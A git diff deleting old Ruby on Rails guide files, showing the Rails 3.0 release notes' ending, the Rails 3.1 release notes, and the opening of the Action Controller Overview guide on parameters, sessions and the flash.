-* <tt>:charset</tt>, <tt>:content_type</tt>, <tt>:mime_version</tt>, <tt>:implicit_parts_order</tt> are all deprecated in favor of <tt>ActionMailer.default :key => value</tt> style declarations.
-* Mailer dynamic <tt>create_method_name</tt> and <tt>deliver_method_name</tt> are deprecated, just call <tt>method_name</tt> which now returns a <tt>Mail::Message</tt> object.
-* <tt>ActionMailer.deliver(message)</tt> is deprecated, just call <tt>message.deliver</tt>.
-* <tt>template_root</tt> is deprecated, pass options to a render call inside a proc from the <tt>format.mime_type</tt> method inside the <tt>mail</tt> generation block
-* The +body+ method to define instance variables is deprecated (<tt>body {:ivar => value}</tt>), just declare instance variables in the method directly and they will be available in the view.
-* Mailers being in <tt>app/models</tt> is deprecated, use <tt>app/mailers</tt> instead.
-
-More Information:
-* "New Action Mailer API in Rails 3":http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3
-* "New Mail Gem for Ruby":http://lindsaar.net/2010/1/23/mail-gem-version-2-released
-
-
-h3. Credits
-
-See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails 3. Kudos to all of them.
-
-Rails 3.0 Release Notes were compiled by "Mikel Lindsaar":http://lindsaar.net.
-
diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile
deleted file mode 100644
index c4da87dc34..0000000000
--- a/railties/guides/source/3_1_release_notes.textile
+++ /dev/null
@@ -1,431 +0,0 @@
-h2. Ruby on Rails 3.1 Release Notes
-
-Highlights in Rails 3.1:
-
-* Streaming
-* Reversible Migrations
-* Assets Pipeline
-* jQuery as the default JavaScript library
-
-This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
-
-endprologue.
-
-h3. Upgrading to Rails 3.1
-
-If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
-
-h4. Rails 3.1 requires at least Ruby 1.8.7
-
-Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
-
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
-
-h3. Creating a Rails 3.1 application
-
-<shell>
-# You should have the 'rails' rubygem installed
-$ rails new myapp
-$ cd myapp
-</shell>
-
-h4. Vendoring Gems
-
-Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
-
-More information: - "bundler homepage":http://gembundler.com
-
-h4. Living on the Edge
-
-+Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
-
-<shell>
-$ rails new myapp --edge
-</shell>
-
-If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
-
-<shell>
-$ ruby /path/to/rails/bin/rails new myapp --dev
-</shell>
-
-h3. Rails Architectural Changes
-
-h4. Assets Pipeline
-
-The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
-
-The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide.
-
-h4. HTTP Streaming
-
-HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
-
-h4. Default JS library is now jQuery
-
-jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
-
-<shell>
-$ rails new myapp -j prototype
-</shell>
-
-h4. Identity Map
-
-Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
-
-Rails 3.1 comes with the identity map turned off by default.
-
-h3. Railties
-
-* jQuery is the new default JavaScript library.
-
-* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
-
-* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
-
-* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified.
-
-* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available.
-
-* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed.
-
-* Scaffold controller generator creates format block for JSON instead of XML.
-
-* Active Record logging is directed to STDOUT and shown inline in the console.
-
-* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol.
-
-* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
-
-* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack.
-
-* Added <tt>Rack::Cache</tt> to the default middleware stack.
-
-* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
-
-h3. Action Pack
-
-h4. Action Controller
-
-* A warning is given out if the CSRF token authenticity cannot be verified.
-
-* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used.
-
-* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log.
-
-* URL parameters which return +nil+ for +to_param+ are now removed from the query string.
-
-* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>.
-
-* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
-
-* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options.
-
-* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call.
-
-<ruby>
-class PostsController < ApplicationController
- USER_NAME, PASSWORD = "dhh", "secret"
-
- before_filter :authenticate, :except => [ :index ]
-
- def index
- render :text => "Everyone can see me!"
- end
-
- def edit
- render :text => "I'm only accessible if you know the password"
- end
-
- private
- def authenticate
- authenticate_or_request_with_http_basic do |user_name, password|
- user_name == USER_NAME && password == PASSWORD
- end
- end
-end
-</ruby>
-
-..can now be written as
-
-<ruby>
-class PostsController < ApplicationController
- http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
-
- def index
- render :text => "Everyone can see me!"
- end
-
- def edit
- render :text => "I'm only accessible if you know the password"
- end
-end
-</ruby>
-
-* Added streaming support, you can enable it with:
-
-<ruby>
-class PostsController < ActionController::Base
- stream
-end
-</ruby>
-
-You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information.
-
-* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
-
-h4. Action Dispatch
-
-* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>.
-
-* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array.
-
-* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers.
-
-* Added <tt>Rack::Cache</tt> to the default stack.
-
-* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack.
-
-* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>.
-
-* Template lookup now searches further up in the inheritance chain.
-
-h4. Action View
-
-* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>.
-
-* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>.
-
-* In place +SafeBuffer+ mutation is prohibited in Rails 3.1.
-
-* Added HTML5 +button_tag+ helper.
-
-* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form.
-
-* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options:
-
-<plain>
-tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
-# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
-</plain>
-
-Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
-
-* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility.
-
-* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
-
-* rhtml and rxml are finally removed as template handlers.
-
-* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not.
-
-* The submit form helper does not generate an id "object_name_id" anymore.
-
-* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>.
-
-* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper.
-
-* Allows AM/PM format in datetime selectors.
-
-* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink
-
-h3. Active Record
-
-* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>.
-<ruby>
-class User < ActiveRecord::Base
- self.pluralize_table_names = false
-end
-</ruby>
-
-* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
-
-<ruby>
-class User < ActiveRecord::Base
- has_one :account
-end
-
-user.build_account{ |a| a.credit_limit = 100.0 }
-</ruby>
-
-* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
-
-* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
-
-* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
-
-<ruby>
-class Post < ActiveRecord::Base
- attr_accessible :title
- attr_accessible :title, :published_at, :as => :admin
-end
-
-Post.new(params[:post], :as => :admin)
-</ruby>
-
-* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation.
-
-* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
-
-* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
-
-* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed.
-
-* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records.
-
-* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations.
-
-* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>.
-
-* limits and offsets are removed from COUNT queries unless both are supplied.
-<ruby>
-People.limit(1).count # => 'SELECT COUNT(*) FROM people'
-People.offset(1).count # => 'SELECT COUNT(*) FROM people'
-People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
-</ruby>
-
-* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
-
-* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead.
-
-* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
-
-* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
-
-* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
-
-* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
-
-* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>.
-
-* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement.
-
-<ruby>
-change_table(:users, :bulk => true) do |t|
- t.string :company_name
- t.change :birthdate, :datetime
-end
-</ruby>
-
-* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used.
-
-* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations.
-
-* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method.
-<ruby>
-class MyMigration < ActiveRecord::Migration
- def change
- create_table(:horses) do |t|
- t.column :content, :text
- t.column :remind_at, :datetime
- end
- end
-end
-</ruby>
-
-* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down.
-
-* Migrations now use instance methods rather than class methods:
-<ruby>
-class FooMigration < ActiveRecord::Migration
- def up # Not self.up
- ...
- end
-end
-</ruby>
-
-* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods.
-
-* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
-
-<ruby>
-has_many :things, :conditions => 'foo = #{bar}' # before
-has_many :things, :conditions => proc { "foo = #{bar}" } # after
-</ruby>
-
-Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within.
-
-You can have any "normal" conditions inside the proc, so the following will work too:
-
-<ruby>
-has_many :things, :conditions => proc { ["foo = ?", bar] }
-</ruby>
-
-* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
-
-* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting.
-
-<ruby>
-# Schema: User(name:string, password_digest:string, password_salt:string)
-class User < ActiveRecord::Base
- has_secure_password
-end
-</ruby>
-
-* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns.
-
-* Setting the id of a +belongs_to+ object will update the reference to the object.
-
-* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics.
-
-* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
-
-* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable.
-
-* The query cache now works with prepared statements. No changes in the applications are required.
-
-h3. Active Model
-
-* +attr_accessible+ accepts an option +:as+ to specify a role.
-
-* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+.
-
-* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting.
-
-* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand.
-
-* Added support for selectively enabling and disabling observers.
-
-* Alternate <tt>I18n</tt> namespace lookup is no longer supported.
-
-h3. Active Resource
-
-* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example,
-
-<ruby>
-class User < ActiveResource::Base
- self.format = :xml
-end
-</ruby>
-
-h3. Active Support
-
-* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+.
-
-* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+.
-
-* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object.
-
-* Added <tt>Object#in?</tt> to test if an object is included in another object.
-
-* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class.
-
-* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes.
-
-* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+.
-
-* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8.
-
-* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time.
-
-* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>.
-
-Deprecations:
-
-* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library.
-
-h3. Credits
-
-See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
-
-Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev.
diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile
deleted file mode 100644
index 5019d49686..0000000000
--- a/railties/guides/source/action_controller_overview.textile
+++ /dev/null
@@ -1,817 +0,0 @@
-h2. Action Controller Overview
-
-In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
-
-* Follow the flow of a request through a controller
-* Understand why and how to store data in the session or cookies
-* Work with filters to execute code during request processing
-* Use Action Controller's built-in HTTP authentication
-* Stream data directly to the user's browser
-* Filter sensitive parameters so they do not appear in the application's log
-* Deal with exceptions that may be raised during request processing
-
-endprologue.
-
-h3. What Does a Controller Do?
-
-Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
-
-For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
-
-A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
-
-NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
-
-h3. Methods and Actions
-
-A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
-
-<ruby>
-class ClientsController < ApplicationController
- def new
- end
-end
-</ruby>
-
-As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
-
-<ruby>
-def new
- @client = Client.new
-end
-</ruby>
-
-The "Layouts & Rendering Guide":layouts_and_rendering.html explains this in more detail.
-
-+ApplicationController+ inherits from +ActionController::Base+, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.
-
-Only public methods are callable as actions. It is a best practice to lower the visibility of methods which are not intended to be actions, like auxiliary methods or filters.
-
-h3. Parameters
-
-You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the +params+ hash in your controller:
-
-<ruby>
-class ClientsController < ActionController::Base
- # This action uses query string parameters because it gets run
- # by an HTTP GET request, but this does not make any difference
- # to the way in which the parameters are accessed. The URL for
- # this action would look like this in order to list activated
- # clients: /clients?status=activated
- def index
- if params[:status] == "activated"
- @clients = Client.activated
- else
- @clients = Client.unactivated
- end
- end
-
- # This action uses POST parameters. They are most likely coming
- # from an HTML form which the user has submitted. The URL for
- # this RESTful request will be "/clients", and the data will be
- # sent as part of the request body.
- def create
- @client = Client.new(params[:client])
- if @client.save
- redirect_to @client
- else
- # This line overrides the default rendering behavior, which
- # would have been to render the "create" view.
- render :action => "new"
- end
- end
-end
-</ruby>
-
-h4. Hash and Array Parameters
-
-The +params+ hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
-
-<pre>
-GET /clients?ids[]=1&ids[]=2&ids[]=3
-</pre>
-
-NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as "[" and "]" are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
-
-The value of +params[:ids]+ will now be +["1", "2", "3"]+. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
-
-To send a hash you include the key name inside the brackets:
-
-<html>
-<form accept-charset="UTF-8" action="/clients" method="post">
- <input type="text" name="client[name]" value="Acme" />
- <input type="text" name="client[phone]" value="12345" />
- <input type="text" name="client[address][postcode]" value="12345" />
- <input type="text" name="client[address][city]" value="Carrot City" />
-</form>
-</html>
-
-When this form is submitted, the value of +params[:client]+ will be <tt>{"name" => "Acme", "phone" => "12345", "address" => {"postcode" => "12345", "city" => "Carrot City"}}</tt>. Note the nested hash in +params[:client][:address]+.
-
-Note that the +params+ hash is actually an instance of +HashWithIndifferentAccess+ from Active Support, which acts like a hash that lets you use symbols and strings interchangeably as keys.
-
-h4. JSON/XML parameters
-
-If you're writing a web service application, you might find yourself more comfortable on accepting parameters in JSON or XML format. Rails will automatically convert your parameters into +params+ hash, which you'll be able to access like you would normally do with form data.
-
-So for example, if you are sending this JSON parameter:
-
-<pre>
-{ "company": { "name": "acme", "address": "123 Carrot Street" } }
-</pre>
-
-You'll get <tt>params[:company]</tt> as <tt>{ :name => "acme", "address" => "123 Carrot Street" }</tt>.
-
-Also, if you've turned on +config.wrap_parameters+ in your initializer or calling +wrap_parameters+ in your controller, you can safely omit the root element in the JSON/XML parameter. The parameters will be cloned and wrapped in the key according to your controller's name by default. So the above parameter can be written as:
-
-<pre>
-{ "name": "acme", "address": "123 Carrot Street" }
-</pre>
-
-And assume that you're sending the data to +CompaniesController+, it would then be wrapped in +:company+ key like this:
-
-<ruby>
-{ :name => "acme", :address => "123 Carrot Street", :company => { :name => "acme", :address => "123 Carrot Street" }}
-</ruby>
-
-You can customize the name of the key or specific parameters you want to wrap by consulting the "API documentation":http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html
-
-h4. Routing Parameters
-
-The +params+ hash will always contain the +:controller+ and +:action+ keys, but you should use the methods +controller_name+ and +action_name+ instead to access these values. Any other parameters defined by the routing, such as +:id+ will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the +:status+ parameter in a "pretty" URL:
-
-<ruby>
-match '/clients/:status' => 'clients#index', :foo => "bar"
-</ruby>
-
-In this case, when a user opens the URL +/clients/active+, +params[:status]+ will be set to "active". When this route is used, +params[:foo]+ will also be set to "bar" just like it was passed in the query string. In the same way +params[:action]+ will contain "index".
-
-h4. +default_url_options+
-
-You can set global default parameters that will be used when generating URLs with +default_url_options+. To do this, define a method with that name in your controller:
-
-<ruby>
-class ApplicationController < ActionController::Base
- # The options parameter is the hash passed in to 'url_for'
- def default_url_options(options)
- {:locale => I18n.locale}
- end
-end
-</ruby>
-
-These options will be used as a starting-point when generating URLs, so it's possible they'll be overridden by +url_for+. Because this method is defined in the controller, you can define it on +ApplicationController+ so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.
-
-
-h3. Session
-
-Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
-
-* CookieStore - Stores everything on the client.
-* DRbStore - Stores the data on a DRb server.
-* MemCacheStore - Stores the data in a memcache.
-* ActiveRecordStore - Stores the data in a database using Active Record.
-
-All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
-
-For most stores this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited).
-
-The CookieStore can store around 4kB of data -- much less than the others -- but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
-
-Read more about session storage in the "Security Guide":security.html.
-
-If you need a different session storage mechanism, you can change it in the +config/initializers/session_store.rb+ file:
-
-<ruby>
-# Use the database for sessions instead of the cookie-based default,
-# which shouldn't be used to store highly confidential information
-# (create the session table with "script/rails g session_migration")
-# YourApp::Application.config.session_store :active_record_store
-</ruby>
-
-Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in +config/initializers/session_store.rb+:
-
-<ruby>
-# Be sure to restart your server when you modify this file.
-
-YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session'
-</ruby>
-
-You can also pass a +:domain+ key and specify the domain name for the cookie:
-
-<ruby>
-# Be sure to restart your server when you modify this file.
-
-YourApp::Application.config.session_store :cookie_store, :key => '_your_app_session', :domain => ".example.com"
-</ruby>
-
-Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in +config/initializers/secret_token.rb+
-
-<ruby>
-# Be sure to restart your server when you modify this file.
-
-# Your secret key for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-YourApp::Application.config.secret_token = '49d3f3de9ed86c74b94ad6bd0...'
-</ruby>
-
-NOTE: Changing the secret when using the +CookieStore+ will invalidate all existing sessions.
-
-h4. Accessing the Session
-
-In your controller you can access the session through the +session+ instance method.
-
-NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
-
-Session values are stored using key/value pairs like a hash:
-
-<ruby>
-class ApplicationController < ActionController::Base
-
- private
-
- # Finds the User with the ID stored in the session with the key
- # :current_user_id This is a common way to handle user login in
- # a Rails application; logging in sets the session value and
- # logging out removes it.
- def current_user
- @_current_user ||= session[:current_user_id] &&
- User.find_by_id(session[:current_user_id])
- end
-end
-</ruby>
-
-To store something in the session, just assign it to the key like a hash:
-
-<ruby>
-class LoginsController < ApplicationController
- # "Create" a login, aka "log the user in"
- def create
- if user = User.authenticate(params[:username], params[:password])
- # Save the user ID in the session so it can be used in
- # subsequent requests
- session[:current_user_id] = user.id
- redirect_to root_url
- end
- end
-end
-</ruby>
-
-To remove something from the session, assign that key to be +nil+:
-
-<ruby>
-class LoginsController < ApplicationController
- # "Delete" a login, aka "log the user out"
- def destroy
- # Remove the user id from the session
- @_current_user = session[:current_user_id] = nil
- redirect_to root_url
- end
-end
-</ruby>
-
-To reset the entire session, use +reset_session+.
-
-h4. The Flash
-
-The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
-
-<ruby>
-class LoginsController < ApplicationController
- def destroy
- session[:current_user_id] = nil
- flash[:notice] = "You have successfully logged out"
- redirect_to root_url
- end
-end
-</ruby>
-
-Note it is also possible to assign a flash message as part of the redirection.
-
-<ruby>
-redirect_to root_url, :notice => "You have successfully logged out"
-</ruby>
-
-
